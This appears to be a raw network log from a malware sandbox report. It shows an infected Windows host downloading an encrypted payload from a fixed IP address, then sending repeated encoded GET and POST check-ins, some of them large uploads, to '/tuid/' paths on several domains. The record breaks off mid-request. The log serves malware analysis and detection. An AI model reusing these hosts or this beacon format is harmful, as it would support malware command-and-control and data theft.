Aug 8, 2022 17:42:40.437509060 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437547922 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437623024 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437659979 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437668085 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437716007 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437767982 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437793016 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437819958 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437839031 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437860966 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437875032 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437928915 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437961102 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437979937 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.438035011 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.438060045 CEST	49750	80	192.168.11.20	101.99.94.169

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 8, 2022 17:44:17.746109009 CEST	58899	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:44:17.761447906 CEST	53	58899	1.1.1.1	192.168.11.20
Aug 8, 2022 17:44:22.913892984 CEST	55690	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:44:23.234519958 CEST	53	55690	1.1.1.1	192.168.11.20
Aug 8, 2022 17:44:28.881545067 CEST	60005	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:44:28.892247915 CEST	53	60005	1.1.1.1	192.168.11.20
Aug 8, 2022 17:44:33.895467997 CEST	51950	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:44:34.724453926 CEST	53	51950	1.1.1.1	192.168.11.20
Aug 8, 2022 17:44:51.938716888 CEST	62125	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:44:52.260291100 CEST	53	62125	1.1.1.1	192.168.11.20
Aug 8, 2022 17:44:57.969173908 CEST	51429	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:44:58.658838034 CEST	53	51429	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:04.170089960 CEST	51258	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:04.581562996 CEST	53	51258	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:09.591989040 CEST	56298	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:09.644402981 CEST	53	56298	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:14.778286934 CEST	54340	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:14.843234062 CEST	53	54340	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:20.010869026 CEST	55529	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:20.666584969 CEST	53	55529	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:25.681338072 CEST	60548	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:25.845436096 CEST	53	60548	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:30.899120092 CEST	51934	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:30.913022041 CEST	53	51934	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:36.116473913 CEST	55349	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:36.133956909 CEST	53	55349	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:41.349361897 CEST	58653	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:41.394237995 CEST	53	58653	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:46.493351936 CEST	60163	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:46.510385036 CEST	53	60163	1.1.1.1	192.168.11.20
Aug 8, 2022 17:45:56.658588886 CEST	55013	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:45:57.673572063 CEST	55013	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:45:58.032208920 CEST	53	55013	9.9.9.9	192.168.11.20
Aug 8, 2022 17:46:03.422593117 CEST	65360	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:46:03.443641901 CEST	53	65360	9.9.9.9	192.168.11.20
Aug 8, 2022 17:46:08.563287020 CEST	61265	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:46:08.593173981 CEST	53	61265	9.9.9.9	192.168.11.20
Aug 8, 2022 17:46:13.764559031 CEST	64893	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:46:13.929510117 CEST	53	64893	9.9.9.9	192.168.11.20
Aug 8, 2022 17:46:33.807015896 CEST	63880	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:46:33.830048084 CEST	53	63880	9.9.9.9	192.168.11.20
Aug 8, 2022 17:46:38.836786985 CEST	49587	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:46:39.445497036 CEST	53	49587	9.9.9.9	192.168.11.20
Aug 8, 2022 17:46:55.349060059 CEST	59921	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:46:55.814853907 CEST	53	59921	9.9.9.9	192.168.11.20
Aug 8, 2022 17:47:43.682466030 CEST	51526	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:47:43.695727110 CEST	53	51526	9.9.9.9	192.168.11.20
Aug 8, 2022 17:47:48.775223970 CEST	54377	53	192.168.11.20	9.9.9.9
Aug 8, 2022 17:47:49.790326118 CEST	54377	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:47:50.107685089 CEST	53	54377	1.1.1.1	192.168.11.20
Aug 8, 2022 17:47:50.778866053 CEST	53	54377	9.9.9.9	192.168.11.20
Aug 8, 2022 17:48:13.175977945 CEST	51034	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:48:14.005726099 CEST	53	51034	1.1.1.1	192.168.11.20
Aug 8, 2022 17:48:19.081125975 CEST	64635	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:48:19.116620064 CEST	53	64635	1.1.1.1	192.168.11.20
Aug 8, 2022 17:48:34.646478891 CEST	61491	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:48:35.025753975 CEST	53	61491	1.1.1.1	192.168.11.20
Aug 8, 2022 17:49:16.597461939 CEST	53933	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:49:16.657071114 CEST	53	53933	1.1.1.1	192.168.11.20
Aug 8, 2022 17:49:21.783946037 CEST	59730	53	192.168.11.20	1.1.1.1
Aug 8, 2022 17:49:22.144952059 CEST	53	59730	1.1.1.1	192.168.11.20
Aug 8, 2022 17:49:27.392524004 CEST	57288	53	192.168.11.20	1.1.1.1

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:42:40.217978001 CEST	237	OUT	GET /WHvBvQsIuWdD218.inf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: 101.99.94.169 Cache-Control: no-cache
Aug 8, 2022 17:42:40.339495897 CEST	238	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sun, 07 Aug 2022 21:13:45 GMT Accept-Ranges: bytes ETag: "b37b6694a2aad81:0" Server: Microsoft-IIS/8.5 Date: Mon, 08 Aug 2022 07:42:39 GMT Content-Length: 175168 Data Raw: d6 85 6c af 8d 6c c4 65 77 f1 b2 ec 37 9f 69 15 89 76 d4 9d b4 82 52 f3 47 44 89 be e8 99 65 10 4f ab e8 ac b1 fb b3 f7 ae a5 49 d4 6c 23 6d 0d 33 d2 57 4b e3 34 77 64 ea 91 8d 66 fa a7 8c 75 33 e0 19 93 ac f0 66 82 87 f2 72 3b 4d 01 0d 0c 4c e9 b6 83 00 36 d3 8b 1e a9 10 f2 11 c8 6a a6 da 38 91 08 c3 57 76 02 7f 7a e9 8f fc 14 e0 f9 2b f2 5e 07 87 82 5f 7b b9 16 ca 25 f1 12 37 f7 49 87 0d 52 6f 9f 90 af a9 20 3f cd 6b 25 69 4b ea 79 3b a8 38 b0 d4 d2 bc 13 ff 8b 62 1b 74 4f ea b2 a8 07 11 2b 24 d8 11 ce 13 b1 13 4e 68 8f 27 5c 19 41 04 65 72 a6 fd ae b3 84 88 72 df ce 8e e8 6f 94 09 db 92 39 83 11 a9 b0 5f 82 b1 50 71 7e 34 c1 a2 02 c6 fc ba 8d 76 0a 2c 88 b6 ab 84 18 37 bd 08 d2 28 78 d6 d2 18 1c ee b0 b2 76 27 63 0a 64 9a ef ca 0d 58 ec 27 8e d7 18 22 46 57 5c 9b 33 3a 58 82 4c cd eb 9b 88 cc 80 fd 5d 1c 1d 80 1f 77 9b 71 c7 0b fd a8 b5 ea c3 0a c6 2f 77 67 85 74 2b fd 21 e5 58 8b 11 3d 18 2d a0 18 35 f4 47 19 48 e5 bb 19 69 06 81 35 76 1f 1d 06 97 d2 22 8a be 0c e0 15 9b 6c 25 75 44 29 d9 56 93 fd 2c 40 ac 52 53 40 0e c7 c7 df b4 b3 a1 26 4b ef d6 e5 8a 43 b7 32 bd 24 05 03 e1 28 68 c0 bd 8b 1e 91 52 88 d9 50 d8 79 f8 7d 36 4b 81 80 d4 d0 bd e8 a1 7b 6c ab 7e b4 7c e2 d9 46 e4 46 c4 44 b3 4a 09 06 36 60 b2 b5 ee f9 fc 4c ef 45 ea 0f 95 89 59 31 7a 6b 3a 7f 9d 59 0e de 83 02 65 2a 65 5e ca 4c d3 a9 b1 bc d3 e3 e6 60 be c5 ec 63 a2 9d 52 85 7b b2 a1 42 ce 24 c5 32 54 37 2f 18 66 a0 46 5b c0 e4 e7 c8 be 0d 83 02 7d b7 dc a4 61 07 d1 7b d0 5c 5e af 0b 70 e5 d3 8e 28 a6 3f da 3c 08 f4 e3 d6 dc e4 0e dd a1 d7 46 ee 6e 18 dd a7 9f 97 ae ff 79 37 1b c0 3e 17 cb c4 6d f6 d0 26 7f ba b8 3a 5e 0f b7 6b 0b 80 d2 8b c7 31 51 bb b4 04 cd 0a de d3 aa 1f 1a ed 0e 91 4d ef ad a0 c1 3b 28 8e f5 49 03 43 82 b9 e0 96 50 34 1a 15 14 9b ff 7a 3f e2 bb 31 29 a8 53 1a 90 36 83 34 6f b8 b6 84 69 95 77 cc 3e e5 b3 97 bf 67 69 e2 82 79 7d 34 4c 64 d6 92 df ec 0b 34 40 4e f1 7f 4b b4 1a 30 aa c8 3d 5d 7a 5b e1 66 dc e3 a6 47 ff 62 2e e3 4d 63 16 97 ad 0c 9a fe 68 22 f7 fc e2 0f fd 32 d0 44 7e b1 56 a4 7e 28 04 58 ba eb a0 74 08 77 da e2 82 88 a9 9c 7f 95 eb 6a 61 a6 3d fc 7b 14 93 0e e0 e8 82 bc 77 ac ef 9b 2d 67 24 39 5d 94 d1 06 89 a1 2e 6a 35 6f e0 44 a3 3f b4 26 24 a6 e0 9e cf c4 3f e9 3d cc 8a c6 80 e1 d6 c0 fe 21 81 9f 25 79 ed bf 90 75 dc c3 5c b5 37 2c 99 1a 4c 04 61 b1 16 13 bc ac 3d 7b 1e bf af 1b 91 c9 e9 13 1c f8 aa 16 70 e3 d2 b4 68 cb 75 68 e8 f7 33 be ed ef e9 e6 f5 c9 0d 32 dc bd 83 b9 81 cf 0d 6d 15 90 0d db c0 e7 74 aa 31 2b 72 c9 73 73 39 be d1 09 9f a3 a8 27 93 92 f4 98 d8 10 d5 3f c3 25 aa 92 fc 3f 3d cd c8 64 4b e5 c2 37 cb b8 29 57 d1 94 ac d4 c5 48 65 8b 96 3b d5 7a ab 23 f7 00 7e ba 5c c1 44 f0 66 82 87 aa f1 d3 44 8a c5 8f 8c d5 3d 83 03 f7 50 4b 36 aa 18 0d f0 58 6a a6 da 38 91 08 c3 57 76 02 7f 7a e9 8f fc 14 e0 f9 2b f2 5e 07 87 82 5f 7b b9 16 ca 25 49 12 37 f7 47 98 b7 5c 6f 2b 99 62 88 98 3e 81 a6 04 3d 23 83 0a 1b d8 4a df b3 a0 dd 7e df e8 03 75 1a 20 9e 92 ca 62 31 59 51 b6 31 a7 7d 91 57 01 3b af 4a 33 7d 24 2a 68 7f ac d9 ae b3 84 88 72 df ce 93 9e c7 b2 50 cc 54 4c da 06 6f c5 06 95 77 25 33 f4 59 b4 b5 15 00 89 f8 07 2e 7f 76 9f 70 de c6 92 6c c8 50 c5 ee 0d 84 bb 7b 74 b7 a7 74 03 27 63 0a 64 9a ef ca Data Ascii: llew7ivRGDeOIl#m3WK4wdfu3fr;ML6j8Wvz+^_{%7IRo ?k%iKy;8btO+$Nh'\Aerro9_Pq~4v,7(xv'cdX'"FW\3:XL]wq/wgt+!X=-5GHi5v"l%uD)V,@RS@&KC2$(hRPy}6K{l~\|FFDJ6`LEY1zk:Yee^L`cR{B$2T7/fF[}a{\^p(?<Fny7>m&:^k1QM;(ICP4z?1)S64oiw>giy}4Ld4@NK0=]z[fGb.Mch"2D~V~(Xtwja={w-g$9].j5oD?&$?=!%yu\7,La={phuh32mt1+rss9'?%?=dK7)WHe;z#~\DfD=PK6Xj8Wvz+^_{%I7G\o+b>=#J~u b1YQ1}W;J3}$hrPTLow%3Y.vplP{tt'cd

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:44:17.775826931 CEST	443	OUT	GET /tuid/?m4bd=csUEPuyljQauctU/Z8NbC9ms5fC6XWDYEeq9yCIh8wbky0EJAlqn2MT949GlS8zP8lU0&M8s=w86DJpgx5FYlUfRP HTTP/1.1 Host: www.maximilianvonah.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:44:17.897661924 CEST	444	IN	HTTP/1.1 308 Permanent Redirect Content-Type: text/html; charset=iso-8859-1 Content-Length: 337 Connection: close Date: Mon, 08 Aug 2022 15:44:17 GMT Server: Apache Location: https://eisberg-seminare.de/?m4bd=csUEPuyljQauctU/Z8NbC9ms5fC6XWDYEeq9yCIh8wbky0EJAlqn2MT949GlS8zP8lU0&M8s=w86DJpgx5FYlUfRP Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 69 73 62 65 72 67 2d 73 65 6d 69 6e 61 72 65 2e 64 65 2f 3f 6d 34 62 64 3d 63 73 55 45 50 75 79 6c 6a 51 61 75 63 74 55 2f 5a 38 4e 62 43 39 6d 73 35 66 43 36 58 57 44 59 45 65 71 39 79 43 49 68 38 77 62 6b 79 30 45 4a 41 6c 71 6e 32 4d 54 39 34 39 47 6c 53 38 7a 50 38 6c 55 30 26 61 6d 70 3b 4d 38 73 3d 77 38 36 44 4a 70 67 78 35 46 59 6c 55 66 52 50 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>308 Permanent Redirect</title></head><body><h1>Permanent Redirect</h1><p>The document has moved <a href="https://eisberg-seminare.de/?m4bd=csUEPuyljQauctU/Z8NbC9ms5fC6XWDYEeq9yCIh8wbky0EJAlqn2MT949GlS8zP8lU0&M8s=w86DJpgx5FYlUfRP">here</a>.</p></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:14.863590956 CEST	903	OUT	POST /tuid/ HTTP/1.1 Host: www.programmedsolution.com Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.programmedsolution.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.programmedsolution.com/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 4e 74 68 36 50 7a 35 74 56 2d 4b 4f 51 76 65 6b 44 64 48 44 44 33 30 54 70 50 6b 48 6f 64 7e 79 66 70 76 31 4d 4a 58 43 64 78 36 71 41 76 7e 72 5a 4f 33 73 41 75 6f 66 31 6d 39 4b 47 74 79 4e 6d 69 35 6d 59 43 6c 55 79 58 6b 6b 6a 38 38 6b 63 68 28 30 4b 55 5a 79 41 54 43 67 66 54 4e 36 6c 6e 6e 67 44 64 44 4b 70 4b 36 48 30 57 78 5f 66 42 37 51 59 39 47 46 41 4f 4b 2d 4d 35 69 62 28 4a 50 64 44 45 79 58 37 7a 7e 2d 58 42 30 65 52 57 50 2d 71 5a 31 71 68 55 69 58 54 38 50 6e 53 67 47 37 44 4b 35 51 57 4e 62 74 46 51 44 39 52 53 74 31 50 77 7e 55 73 38 61 6a 50 71 70 55 68 34 7a 67 28 41 79 52 68 74 4f 75 64 77 48 4a 7e 56 68 50 62 71 39 54 36 46 6d 78 50 57 45 52 48 54 37 4b 79 31 54 30 49 35 45 54 72 6d 30 35 65 4f 4d 7a 6f 67 50 79 72 78 35 4d 37 4a 37 33 53 39 7a 77 5a 39 79 32 48 6b 73 77 5a 39 46 76 5a 49 59 63 33 6b 35 4c 42 57 4b 76 62 6d 66 50 39 59 34 37 6f 68 65 45 65 4e 39 67 28 6a 4d 65 46 57 50 52 4d 70 34 56 50 39 73 4a 31 53 6c 64 67 53 71 58 50 42 44 6a 44 31 61 37 38 37 31 30 68 71 44 43 62 78 33 5f 43 71 6f 74 4c 68 54 72 6f 71 72 75 28 4d 65 68 6d 53 51 6c 44 37 5a 70 76 4c 4a 77 63 2d 45 6f 4d 4e 75 4b 76 53 59 33 4d 5f 67 7a 58 70 6f 4f 69 6c 39 71 73 58 5a 6e 4e 33 79 6e 6b 33 63 51 58 78 57 7a 6e 6c 45 76 75 79 69 36 7e 71 77 31 41 44 4e 61 33 62 78 77 34 65 4a 46 6b 4b 32 4d 37 69 67 6a 65 37 54 64 7a 58 64 36 66 35 56 52 59 37 63 4f 52 6f 79 7a 54 30 37 7a 43 67 66 4a 65 77 50 68 68 58 5a 49 34 49 79 4f 70 61 33 38 32 50 4b 45 47 61 35 57 39 65 78 6b 77 39 59 46 51 35 68 51 74 73 63 50 73 6d 49 5f 51 39 41 58 51 4b 76 5a 75 76 67 61 63 5f 6f 55 71 79 79 4a 59 62 66 6a 45 4e 42 61 6e 56 66 64 7e 37 37 73 55 57 57 4f 70 64 74 52 79 5f 41 54 46 72 6f 48 77 6e 58 57 6c 4b 33 7a 58 36 32 53 33 77 4b 68 4a 32 72 62 44 72 35 76 67 6f 48 78 64 59 6e 64 75 57 51 4f 63 7a 76 4c 4e 79 53 5a 73 6a 37 62 74 66 55 6a 4d 44 6d 59 41 4c 71 4c 7a 72 4d 34 32 58 5a 2d 76 76 48 71 66 4d 4e 47 57 48 6d 64 6d 52 76 2d 6e 78 42 30 52 70 6d 58 39 51 4c 6a 35 4b 49 2d 39 56 69 49 50 4a 50 62 35 45 63 64 74 50 31 41 59 56 6c 32 48 73 61 36 74 62 4f 7a 4c 37 4c 6e 73 4e 7a 6d 68 45 65 42 53 6b 74 44 4e 30 58 48 59 4b 6d 67 32 43 5a 71 4b 66 75 6e 36 65 51 78 47 53 61 44 6f 32 6d 5a 6e 48 42 61 39 35 4a 6d 4f 72 53 70 45 4c 44 5f 79 4f 6b 68 77 57 4c 54 28 4a 6f 65 4e 72 69 45 6d 71 53 35 74 61 4e 56 48 34 38 75 6d 71 59 79 4e 72 30 77 56 32 6e 43 44 56 66 52 51 59 55 5f 56 41 53 6b 41 4c 4d 67 6d 47 6a 77 7e 66 59 70 6d 59 47 52 6b 35 7e 76 6b 6a 52 7a 37 62 6f 30 7e 62 77 2d 76 78 4f 76 53 45 31 63 68 43 6c 59 33 78 49 38 54 4e 68 6c 33 62 51 4d 39 41 6e 55 71 37 61 5a 28 37 47 47 52 39 74 67 74 75 41 67 75 69 48 66 28 4c 66 35 79 5f 75 4a 76 6a 49 6a 47 71 6d 58 50 56 63 67 68 4e 78 75 75 36 31 4e 45 32 7e 59 74 31 65 78 4e 67 53 47 7a 4c 47 32 37 30 33 6e 4d 55 4c 4d 66 6d 66 68 6b 73 52 32 77 58 35 6d 75 6c 4a 75 66 4f 4b 7a 34 32 4a 5f 51 61 74 6b 78 77 6e 55 39 76 54 32 7a 38 4d 48 6f 55 56 58 44 4a 7a 38 44 79 47 43 6b 76 62 67 54 33 35 7a 46 73 49 59 72 5f 31 45 6d 56 76 56 62 63 34 46 69 30 50 65 46 7a 4a 5f 34 5f 63 46 69 5a 31 55 64 51 35 71 6f 6d 4a 5f 66 77 41 52 58 41 6e 7a 49 55 44 5f 6f 59 33 6e 64 52 72 47 6b 47 54 7a 56 39 45 6f 79 6f 69 33 64 71 70 35 42 6e 4f 71 65 4a 33 6b 34 41 37 69 38 55 46 77 6a 53 68 36 68 4b 61 5f 63 45 4b 4c 73 62 42 4d 6a 52 49 52 7e 42 57 55 62 74 34 49 7e 62 45 75 36 6a 61 41 32 66 75 49 51 72 41 33 55 6d 58 77 44 55 50 32 62 4d 46 31 6a 4a 31 32 31 37 66 65 51 48 79 31 4f 56 61 32 55 52 52 62 34 62 33 68 36 69 7a 43 73 49 65 75 4e 70 38 5f 30 43 58 52 6b 6d 4d 79 32 54 69 59 72 6d 4a 5f 67 64 59 6d 71 68 62 6e 49 35 7a 74 77 48 6b 53 78 6a 54 7a 41 72 38 72 56 57 36 6e 67 34 4e 46 6f 57 32 36 28 74 4f 6f 41 6d 4a 6d 75 79 36 30 62 55 64 55 32 31 4a 76 44 4b 7a 2d 65 63 63 6c 69 57 63 2d 51 5f 5a 50 4d 71 52 65 79 42 58 35 6a 6c 70 70 30 34 31 63 6e 37 39 59 41 61 79 38 35 36 53 65 77 77 76 66 5a 41 65 54 5a 6e 61 6e 48 2d 64 36 47 38 31 66 4e 64 43 47 35 36 55 6d 37 47 75 30 59 78 7e 32 70 65 45 70 59 76 4d 42 4b 52 7e 37 33 44 71 78 67 35 61 52 59 6c Data Ascii: m4bd=Nth6Pz5tV-KOQvekDdHDD30TpPkHod~yfpv1MJXCdx6qAv~rZO3sAuof1m9KGtyNmi5mYClUyXkkj88kch(0KUZyATCgfTN6lnngDdDKpK6H0Wx_fB7QY9GFAOK-M5ib(JPdDEyX7z~-XB0eRWP-qZ1qhUiXT8PnSgG7DK5QWNbtFQD9RSt1Pw~Us8ajPqpUh4zg(AyRhtOudwHJ~VhPbq9T6FmxPWERHT7Ky1T0I5ETrm05eOMzogPyrx5M7J73S9zwZ9y2HkswZ9FvZIYc3k5LBWKvbmfP9Y47oheEeN9g(jMeFWPRMp4VP9sJ1SldgSqXPBDjD1a78710hqDCbx3_CqotLhTroqru(MehmSQlD7ZpvLJwc-EoMNuKvSY3M_gzXpoOil9qsXZnN3ynk3cQXxWznlEvuyi6~qw1ADNa3bxw4eJFkK2M7igje7TdzXd6f5VRY7cORoyzT07zCgfJewPhhXZI4IyOpa382PKEGa5W9exkw9YFQ5hQtscPsmI_Q9AXQKvZuvgac_oUqyyJYbfjENBanVfd~77sUWWOpdtRy_ATFroHwnXWlK3zX62S3wKhJ2rbDr5vgoHxdYnduWQOczvLNySZsj7btfUjMDmYALqLzrM42XZ-vvHqfMNGWHmdmRv-nxB0RpmX9QLj5KI-9ViIPJPb5EcdtP1AYVl2Hsa6tbOzL7LnsNzmhEeBSktDN0XHYKmg2CZqKfun6eQxGSaDo2mZnHBa95JmOrSpELD_yOkhwWLT(JoeNriEmqS5taNVH48umqYyNr0wV2nCDVfRQYU_VASkALMgmGjw~fYpmYGRk5~vkjRz7bo0~bw-vxOvSE1chClY3xI8TNhl3bQM9AnUq7aZ(7GGR9tgtuAguiHf(Lf5y_uJvjIjGqmXPVcghNxuu61NE2~Yt1exNgSGzLG2703nMULMfmfhksR2wX5mulJufOKz42J_QatkxwnU9vT2z8MHoUVXDJz8DyGCkvbgT35zFsIYr_1EmVvVbc4Fi0PeFzJ_4_cFiZ1UdQ5qomJ_fwARXAnzIUD_oY3ndRrGkGTzV9Eoyoi3dqp5BnOqeJ3k4A7i8UFwjSh6hKa_cEKLsbBMjRIR~BWUbt4I~bEu6jaA2fuIQrA3UmXwDUP2bMF1jJ1217feQHy1OVa2URRb4b3h6izCsIeuNp8_0CXRkmMy2TiYrmJ_gdYmqhbnI5ztwHkSxjTzAr8rVW6ng4NFoW26(tOoAmJmuy60bUdU21JvDKz-eccliWc-Q_ZPMqReyBX5jlpp041cn79YAay856SewwvfZAeTZnanH-d6G81fNdCG56Um7Gu0Yx~2peEpYvMBKR~73Dqxg5aRYlzv0D~dINRpmAXs4dE_iX2p6l80I2BEBLsMlYH0yFJERTvU9VhsboXkWsovWYoGN0LBBg(NeKpUQNQpIUGlybRDeLThzrP28GvuPGoc8Hwha4K-FOuir-lAgHKDyHRWc4Kpu2pFcp0muUkGcQ9r1mdHLZCsmqEgk6BQ72qbuXmSw7FX~k162NdsRAYZeqlc6i2uGPPAnpB2VkQEp3H2Zr5W8NhXG3iGvlK6IidVCz4RE6a6ikMLvl5L2zjfCcI37O9F4Res413i9tZOrHpCVfU4jt~9T0g9IT6ZSuvApX3uBedOrBWGsaExe_1K9zCU~GmXU9wvmNrQyZAA~N6PzudfBNQS0x4keBlp4MyvCVCjOO2vcSSr~81OuLIbrOAx3qm-XtAjOI5H53juw2b58GIw5u7OUeQtMJ3JVvpPV4omNf3KLvgEcI3R(QtWhwYuRhIQPq3z2uQNMm(vXvSy16jD(6TA3AjXrTmgkq5DpzEjJ6b43NsYr7us66(hxh~VGkh4hyYmryTOdcpV2FfuzXXiC-zAg2l6WeNHrphzYQM1V_sTIqD23K75DB9JrsU9LH43bUJv2ruf2_9weMYjVv36lm7w8W7quoqMDKnNZbTxD3LKlnsKPU2mKua5iJ1cV80o2TbRWgn51N3n1nyu9q8sAU5ESJj0rjWO5hG_OkCyJ_ATyW08zNKULQ6BaEnsGFQbN6bzqQoSUjP7YCRl9Lnawq4dyvw4QHpoo22ktOEHWxgNRikeQlsts-fI(QJVOCdENYOjxeqgN5wLyl7LDA~5IO6-LqDFGpLiDiff~7bwDzVuDP~3vaI4rNe0Ih~urWH_(IScOrsuvsjHtxN2jwBIIWSBTnnDGvKr2cTOuc1N5t1Pb0wWnFfP6X
Aug 8, 2022 17:45:15.420994997 CEST	1083	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 08 Aug 2022 15:45:15 GMT Location: https://www.programmedsolution.com/tuid/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:14.881884098 CEST	932	OUT	GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP HTTP/1.1 Host: www.programmedsolution.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:15.003175020 CEST	1082	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 08 Aug 2022 15:45:14 GMT Location: https://www.programmedsolution.com/tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:25.857180119 CEST	1089	OUT	POST /tuid/ HTTP/1.1 Host: www.secureartist.com Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.secureartist.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.secureartist.com/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 45 63 30 37 53 54 6c 30 73 5a 6b 6e 78 33 4f 33 56 44 55 44 54 4d 6b 5a 59 70 42 7a 43 63 30 61 6b 64 33 46 4a 6a 56 4a 51 79 61 31 7a 54 77 55 36 6d 76 61 37 58 31 64 59 72 6b 48 61 56 31 46 42 59 66 70 44 43 50 54 34 36 55 49 28 47 64 57 67 4a 78 48 30 44 6d 33 48 75 36 4f 72 